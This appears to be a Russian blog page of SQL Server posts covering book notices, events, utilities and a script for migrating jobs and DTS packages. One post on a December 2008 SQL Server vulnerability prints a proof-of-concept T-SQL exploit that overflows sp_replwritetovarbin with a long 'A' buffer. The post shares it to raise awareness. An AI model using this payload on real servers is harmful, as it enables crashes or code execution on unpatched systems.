Windows Live ID Добро пожаловать на IT Community 
Регистрация

Стань частью ИТ-сообщества

Хочешь найти своих друзей, коллег или просто интересных людей со схожими интересами в ИТ-области? Не теряй время...

Присоединяйся к нам!

Анри Асатуров

Alexander Smirnov

Александр Калугин


Все участники

SQL Server (RSS)

Просмотров: 2225
Ответов: 0

Выгрузка в HTML на T-SQL

отправлено 5 февраля 2009 г. 5:47 участником Alexey Knyazev

Достаточно часто на различных форумах появляется вопрос, подобно этому: “…необходимо переодически формировать отчеты по таблицам БД в виде файла html…как реализовать?” С появлением Reporting Services, задача очень облегчается, но как реализовать эту задачу на T-SQL (без использование и CLR тоже)? Первый способ-это использование процедур Web Assistant (sp_makewebtask, sp_dropwebtask, sp_runwebtask, sp_enumcodepages). Наполнять страницу будем результатом запроса SELECT ID, NAME, [ Читать далее...
Читать далее
Категория:
Просмотров: 4067
Ответов: 0

Самоучитель Microsoft SQL Server 2008

отправлено 4 февраля 2009 г. 9:52 участником Alexey Knyazev

Алексей Жилинский Самоучитель Microsoft SQL Server 2008 Серия: Самоучитель Издательство: БХВ-Петербург, 2009 г. Мягкая обложка, 240 стр. ISBN   978-5-9775-0217-7 Тираж: 2000 экз. Формат: 70×100/16 О книге:   Рассмотрены основы работы с СУБД Microsoft SQL Server 2008, начиная с вопросов установки, создания и программирования баз данных и заканчивая описанием специальных возможностей SQL Server, включая интеграцию с NET Framework, работ с XML и использование различных служб. Большое внимание [ Читать далее...
Читать далее
Категория:
Просмотров: 2307
Ответов: 0

Смена аутентификации

отправлено 3 февраля 2009 г. 16:50 участником Alexey Knyazev

Как известно в SQL Server можно выбрать один из двух типов аутинтификации - Windows Authentication (Аутентификация Windows) или SQL Server Authentication (Аутентификация SQL Server). Сменить режим аутентификации на сервере с помощью SSMS (SQL Server Management Studio) либо с помощью EM (Entreprise Manager) достаточно легко, достаточно в свойствах сервера перейти на закладку Security и установить нужную “галку”. После [ Читать далее...
Читать далее
Категория:
Просмотров: 2070
Ответов: 0

SQL Server 2008 System Views Map

отправлено 31 января 2009 г. 8:30 участником Alexey Knyazev

Любому DBA пригодится большой, красочный плакат со всеми системными представлениями, разбитыми на логические блоки, с названием полей и всеми связями между ними.

Достаточно скачать файл (.xps или .pdf ) с сайта Microsoft, распечатать на цветном плоттере и у вас перед глазами всегда полезная информация.   http://www.microsoft.com/downloads/details.aspx?FamilyID=531c53e7-8a2a-4375-8f2f-5d799aa67b5c&displaylang=en

Аналогичные плакаты для SQL Server 2000/2005...

Читать далее...
Читать далее
Категория:
Просмотров: 2094
Ответов: 0

ICQService

отправлено 30 января 2009 г. 17:12 участником Alexey Knyazev

Спустя 1,5 года, очередное изменение протокола вынудило меня снова вернуться к утилите SQL_ICQ_Console. В этот раз я решил сделать её в виде службы Windows. Придумал ей новое имя (ICQService) и выкладываю на ваше обозрение. Программа абсолютно бесплатная и может быть использована в любых целях. Ответственность я ни за что не несу. :))) Кратко опишу для чего [ Читать далее...
Читать далее
Категория:
Просмотров: 1672
Ответов: 0

Новый движок форума на TechNet

отправлено 28 января 2009 г. 19:17 участником Alexey Knyazev

Сегодня на TechNet заработал новый движек форума!!! В форумах появился новый топик: Этот форум успешно переведен на новую платформу в январе 2009 г. Вследствие этого, возможность создания новых сообщений и тем на платформе Forums 2.x заблокирована.  Если вы хотите сообщить об ошибках новой форумной платформы, перейдите по ссылке:  http://social.msdn.microsoft.com/Forums/en-US/reportabug/threads/ Чтобы отправить предложения относительно работы новой форумной платформы  перейдите по ссылке:  http://social.msdn.microsoft.com/Forums/en-US/suggest/threads/ Благодарим [ Читать далее...
Читать далее
Категория:
Просмотров: 1663
Ответов: 0

Подборка WebCast`ов по SQL Server 2008 (24 часа)

отправлено 27 января 2009 г. 23:13 участником Alexey Knyazev

Большая подборка презентаций по MS SQL Server 2008 от экспертов Microsoft. 1. Using the Microsoft Data Platform for Easy Data Access with SQL Server 2008 March 03, 2008 60 minutes - Ron Cundiff 2. Reach Your Data with SQL Server 2008 March 05, 2008 60 minutes - Ron Cundiff 3. Streamline Data Access with SQL Server 2008 March 10, 2008 60 [ Читать далее...
Читать далее
Категория:
Просмотров: 2899
Ответов: 0

Перенос JOB`ов и DTS-пакетов с MS SQL Server 2000 на MS SQL Server 2005/2008

отправлено 20 января 2009 г. 17:29 участником Knyazev_Alexey

В очередной раз получив вопрос, как быстро перенести большой объём Job`ов и DTS-пакетов с MS SQL Server 2000 на MS SQL Server 2005/2008, решил выложить скрипт, который я писал в своё время при переносе БД на, ещё тогда, новый SQL Server 2005. Может кому-то ещё он будет полезен.

 

 

 

 

 

 

 

--Для начала к нашему новому серверу БД линкуем старый сервер MS SQL Server 2000

--на котором расположены наши ДЖОБы и ДТСы

--Переходим в контекст БД msdb

USE msdb

DECLARE @LinkedServ NVARCHAR(128)

SET @LinkedServ=N'MyLinkedServer2000'--Linked Server!!!

-----------------------------------------

--Импорт JOB'ов

-----------------------------------------

EXEC

('

insert into msdb.dbo.sysjobs

SELECT [job_id]

,0

,[name]

,[enabled]

,[description]

,[start_step_id]

,[category_id]

,[owner_sid]

,[notify_level_eventlog]

,[notify_level_email]

,[notify_level_netsend]

,[notify_level_page]

,[notify_email_operator_id]

,[notify_netsend_operator_id]

,[notify_page_operator_id]

,[delete_level]

,[date_created]

,[date_modified]

,[version_number]

FROM '+@LinkedServ+'.msdb.dbo.sysjobs

')

------------------------------------------------

------------------------------------------------

--Импорт STEP'ов

------------------------------------------------

CREATE TABLE #tempSteps

(

id INT IDENTITY

,job_ID UNIQUEIDENTIFIER

,step_name NVARCHAR(128)

,step_id INT

,cmdexec_success_code INT

,on_success_action INT

,on_success_step_id INT

,on_fail_action INT

,on_fail_step_id INT

,retry_attempts INT

,retry_interval INT

,os_run_priority INT

,subsystem NVARCHAR(40)

,command NVARCHAR(MAX)

,database_name NVARCHAR(128)

,flags INT

)

EXEC

('

insert into #tempSteps select

job_ID

,step_name

,step_id

,cmdexec_success_code

,on_success_action

,on_success_step_id

,on_fail_action

,on_fail_step_id

,retry_attempts

,retry_interval

,os_run_priority

,subsystem

,command

,database_name

,flags

FROM '+@LinkedServ+'.msdb.dbo.sysjobsteps

')

DECLARE @job_ID UNIQUEIDENTIFIER

DECLARE @step_name NVARCHAR(128)

DECLARE @step_id INT

DECLARE @cmdexec_success_code INT

DECLARE @on_success_action INT

DECLARE @on_success_step_id INT

DECLARE @on_fail_action INT

DECLARE @on_fail_step_id INT

DECLARE @retry_attempts INT

DECLARE @retry_interval INT

DECLARE @os_run_priority INT

DECLARE @subsystem NVARCHAR(40)

DECLARE @command NVARCHAR(MAX)

DECLARE @database_name NVARCHAR(128)

DECLARE @flags INT

 

DECLARE @i INT

SET @i=1

WHILE @i<=(SELECT COUNT(*) FROM #tempSteps )

BEGIN

 

SELECT

@job_ID =job_ID

,@step_name =step_name

,@step_id =step_id

,@cmdexec_success_code =cmdexec_success_code

,@on_success_action =on_success_action

,@on_success_step_id=on_success_step_id

,@on_fail_action =on_fail_action

,@on_fail_step_id =on_fail_step_id

,@retry_attempts =retry_attempts

,@retry_interval =retry_interval

,@os_run_priority =os_run_priority

,@subsystem =subsystem

,@command =command

,@database_name =database_name

,@flags =flags

FROM #tempSteps WHERE id=@i

 

EXEC msdb.dbo.sp_add_jobstep

@job_id=@job_id,

@step_name=@step_name,

@step_id=@step_id,

@cmdexec_success_code=@cmdexec_success_code,

@on_success_action=@on_success_action,

@on_success_step_id=@on_success_step_id,

@on_fail_action=@on_fail_action,

@on_fail_step_id=@on_fail_step_id,

@retry_attempts=@retry_attempts,

@retry_interval=@retry_interval,

@os_run_priority=@os_run_priority,

@subsystem=@subsystem,

@command=@command,

@database_name=@database_name,

@flags=@flags

SET @i=@i+1

END

DROP TABLE #tempSteps

-------------------------------------------------

 

 

-------------------------------------------------

--Цепляем Schedules на JOBs

-------------------------------------------------

CREATE TABLE #tempSchedules

(

id INT IDENTITY

,job_ID UNIQUEIDENTIFIER

,Name NVARCHAR(128)

,enabled INT

,freq_type INT

,freq_interval INT

,freq_subday_type INT

,freq_subday_interval INT

,freq_relative_interval INT

,freq_recurrence_factor INT

,active_start_date INT

,active_end_date INT

,active_start_time INT

,active_end_time INT

)

EXEC

('

insert into #tempSchedules select

job_id

,name

,enabled

,freq_type

,freq_interval

,freq_subday_type

,freq_subday_interval

,freq_relative_interval

,freq_recurrence_factor

,active_start_date

,active_end_date

,active_start_time

,active_end_time

FROM '+@LinkedServ+'.msdb.dbo.sysjobschedules

')

 

DECLARE @JobID UNIQUEIDENTIFIER

DECLARE @Name NVARCHAR(128)

DECLARE @enabled INT

DECLARE @freq_type INT

DECLARE @freq_interval INT

DECLARE @freq_subday_type INT

DECLARE @freq_subday_interval INT

DECLARE @freq_relative_interval INT

DECLARE @freq_recurrence_factor INT

DECLARE @active_start_date INT

DECLARE @active_end_date INT

DECLARE @active_start_time INT

DECLARE @active_end_time INT

 

 

SET @i=1

WHILE @i<=(SELECT COUNT(*) FROM #tempSchedules)

BEGIN

 

select

@JobID=job_id

,@Name =name

,@enabled =enabled

,@freq_type =freq_type

,@freq_interval =freq_interval

,@freq_subday_type =freq_subday_type

,@freq_subday_interval =freq_subday_interval

,@freq_relative_interval= freq_relative_interval

,@freq_recurrence_factor =freq_recurrence_factor

,@active_start_date =active_start_date

,@active_end_date =active_end_date

,@active_start_time =active_start_time

,@active_end_time=active_end_time

FROM #tempSchedules WHERE id=@i

EXEC msdb.dbo.sp_add_jobschedule

@job_id=@jobId,

@name=@Name,

@enabled=@enabled,

@freq_type=@freq_type,

@freq_interval=@freq_interval,

@freq_subday_type=@freq_subday_type,

@freq_subday_interval=@freq_subday_interval,

@freq_relative_interval=@freq_relative_interval,

@freq_recurrence_factor=@freq_recurrence_factor,

@active_start_date=@active_start_date,

@active_end_date=@active_end_date,

@active_start_time=@active_start_time,

@active_end_time=@active_end_time

SET @i=@i+1

END

 

DROP TABLE #tempSchedules

--------------------------------

 

 

-------------------------------------------------

--Цепляем JOB'ы на сервер

-------------------------------------------------

EXEC

('

insert into sysjobservers

 

SELECT [job_id]

,[server_id]

,[last_run_outcome]

,[last_outcome_message]

,[last_run_date]

,[last_run_time]

,[last_run_duration]

from '+@LinkedServ+'.msdb.dbo.sysjobservers

')

---------------------------------------------------

 

 

 

 

-------------------------------------------------

--ПЕРЕНОС DTS-ов

-------------------------------------------------

INSERT INTO msdb.dbo.sysdtspackages

SELECT [name]

,[id]

,[versionid]

,[description]

,[categoryid]

,[createdate]

,[owner]

,[packagedata]

,[owner_sid]

,0 FROM MyLinkedServer2000.msdb.dbo.sysdtspackages

--------------------------------------------------


Читать далее
Категория:
Просмотров: 1774
Ответов: 1

Microsoft SQL Server находится в серьезной опасности

отправлено 23 декабря 2008 г. 17:09 участником Knyazev_Alexey

Вчера вечером корпорация Microsoft опубликовала экстренный бюллетень безопасности, в котором сообщается о налиции крайне критической уязвимости в системе Microsoft SQL Server.

Пользователя сообщили, что работе корпоративной СУБД угрожает серьезная опасность, так как эксплойт новой уязвимости уже находится в руках злоумышленников.

Атаке могут быть подвержены пользователи, использующие Microsoft SQL Server 2000, Microsoft SQL Server 2005, Microsoft SQL Server 2005 Express Edition, Microsoft SQL Server 2000 Desktop Engine (MSDE 2000), Microsoft SQL Server 2000 Desktop Engine (WMSDE) и Windows Internal Database (WYukon).

Отрадно то, что владельцы ПО Microsoft SQL Server 7.0 Service Pack 4, Microsoft SQL Server 2005 Service Pack 3 и Microsoft SQL Server 2008 могут спать спокойно – их базам данных ничего не угрожает.

Такая же проблема, не так давно, была обнаружена и в Internet Explorer, но тогда эпидемия атак расползлась по всей Сети молниеносно, что заставило Microsoft разработать внеплановый выпуск патча для своего браузера. В нынешнем случае мониторинг Microsoft не показывает серьезного распространения атак на SQL Server'ы.

Дата выпуска экстренных патчей для SQL Server пока не называются, однако в компании говорят, что "над устранением проблемы работают".
 
 
Позднее выйдет патч, закрывающий обсуждаемую лазейку в системе безопасности. Технические подробности вы найдёте на странице Microsoft Security Advisory (961040).
 
А так же примеры свободно разгуливающего по Всемирной Сети злоумышленного кода:
 

DECLARE @buf NVARCHAR(4000),

@val NVARCHAR(4),

@counter INT

SET @buf = '

declare @retcode int,

@end_offset int,

@vb_buffer varbinary,

@vb_bufferlen int,

@buf nvarchar;

exec master.dbo.sp_replwritetovarbin 1,

@end_offset output,

@vb_buffer output,

@vb_bufferlen output,'''

SET @val = CHAR(0x41)

SET @counter = 0

WHILE @counter < 3000

BEGIN

SET @counter = @counter + 1

SET @buf = @buf + @val

END

SET @buf = @buf + ''',''1'',''1'',''1'',

''1'',''1'',''1'',''1'',''1'',''1'''

EXEC master..sp_executesql @buf

 

http://www.sec-consult.com/files/20081209_mssql-sp_replwritetovarbin_memwrite.txt


Читать далее
Категория:
Просмотров: 1612
Ответов: 0

Декабрьский семинар Russian SQL Server User Group в Екатеринбурге

отправлено 8 декабря 2008 г. 9:21 участником Knyazev_Alexey

Картинка 6 из 319

   12 декабря в УРГУ пройдёт очередная встреча Уральской группы пользователей .NET. Чем уникальна эта встреча и почему она привлекла моё внимание? Во первых тема: "SQL Server 2008. Полный контроль над информацией".  А во вторых докладчик: Никита Шамгунов, разработчик SQL сервера из Microsoft Redmond.

   Обязательно регистрируйтесь на встречу: http://unetug.ineta.ru/Events/EventOneSessionInfo.aspx?Id=9706e54b-5dac-49a4-ae7e-a1e156e69c05

 

{Никита Шамгунов}
   Разработчик «движка» SQL Server. Участвовал в разработке 2005 и 2008 версий. Работает над системой типов, XML и интеграцией сервера с .NET. Область интересов — современные системы хранения данных, масштабируемость, полуструктурированные данные. В прошлом призер всероссийских и международных олимпиад по программированию. Кандидат наук.


Читать далее
Категория:
Просмотров: 1705
Ответов: 0

Хотите "пощупать" SQL Server-“Kilimanjaro”?

отправлено 5 декабря 2008 г. 11:38 участником Knyazev_Alexey

Регистрируйтесь до 15 декабря на http://www.sqlpass.org/hostedtrial/ и у вас будет уникальная возможность одними из первых получить возможность поработать с СТР новой версии MS SQL Server.


Читать далее
Категория:
Просмотров: 2525
Ответов: 2

Job Viewer

отправлено 4 декабря 2008 г. 9:46 участником Knyazev_Alexey

Job Viewer
Небольшая утилита для мониторинга Job`ов сразу на нескольких серверах,
для работы достаточно прав SQLAgentReaderRole.

Картинка с другого сайта.

Удобно, если у вас на предприятии мониторингом Джобов занимается,
помимо администратора, какой-либо оператор с ограниченными правами и тяжёлый клиент SSMS
не подходит из-за избыточности.

Тестировалась тулза на 2005ом и 2008ом.

Ссылка на архив с программой (58 Кб)

Надеюсь, что кому-то пригодится


Читать далее
Категория:
Просмотров: 2220
Ответов: 0

SQL Server 2008. Ускоренный курс для профессионалов

отправлено 20 ноября 2008 г. 13:42 участником Knyazev_Alexey

Роберт Уолтерс, Майкл Коулс, Фабио Клаудио Феррачати, Роберт Рей, Дональд Фармер SQL Server 2008. Ускоренный курс для профессионалов Accelerated SQL Server 2008
   SQL Server 2008. Ускоренный курс для    профессионалов
  (Accelerated SQL Server 2008)
 
     Издательство: Вильямс, 2009 г.
     Твердый переплет, 768 стр.
     ISBN   978-5-8459-1481-1, 978-1-59-059969-3
     Тираж: 2000 экз.
     Формат: 70x100/16

С наступлением эпохи цифровых данных объемы информации, которой должны оперировать профессионалы в области баз данных, существенно возросли. Система SQL Server 2008 отражает текущие тенденции индустрии баз данных, фокусируясь на четырех ключевых темах: платформа данных уровня предприятия, выход за рамки реляционной модели, динамическая разработка и повсеместное проникновение. Новые средства, соответствующие этим темам, не только помогают справиться с бурным ростом объемов данных, но также являются исключительно ценными для таких показателей, как высокая доступность, масштабируемость, безопасность и организация информационных хранилищ.
В настоящей книге предлагается обзор ключевой функциональности SQL Server 2008, который затрагивает наиболее важные темы для администраторов баз данных и прикладных разработчиков, в частности:
  • средства, помогающие соблюдать требования законодательства, такие как аудит и прозрачное шифрование данных;
  • резервное копирование и сжатие таблиц, что существенно повышает производительность и экономит дисковое пространство;
  • программные расширения языка Transact-SQL, упрощающие разработчикам задачу построения приложений на платформе SQL Server;
  • средства консолидации множества реализаций SQL Server, такие как Resource Governor;
  • новое средство проектирования отчетов в рамках службы Reporting Services.

Авторы объединили собственный опыт в различных областях, связанных с SQL Server, чтобы предложить вам исчерпывающее практическое руководство по основным темам, которые должен знать будущий администратор или разработчик, при этом сопровождая темы набором реальных примеров. В результате вы сможете сразу же применить полученные знания в существующей бизнес-среде и получить устойчивую платформу для исследования дополнительных тем.
Что ж, вооружитесь терпением, включите компьютер, приготовьте себе кофе и смело приступайте к изучению SQL Server 2008!

http://www.ozon.ru/context/detail/id/4138567/


Читать далее
Категория:
Просмотров: 1164
Ответов: 0

SQL Server 2008 Report Builder 2.0

отправлено 20 октября 2008 г. 9:42 участником Knyazev_Alexey

http://www.microsoft.com/downloads/details.aspx?FamilyID=9f783224-9871-4eea-b1d5-f3140a253db6&displaylang=en

Наконец-то вышел. Затянули они с ним, а обещали его выпустить ещё с выходом самого MS SQL Server 2008. И в Feature Pack, August 2008 его тоже не оказалось.

 


Читать далее
Категория:

Блог

Календарь

«Сентябрь 2010 г.»
ПнВтСрЧтПтСбВс
303112345
6789101112
13141516171819
20212223242526
27282930123
45678910

Категории

Синдикация

Виртуальные сообщества

Сообщества сайтов (тэгами)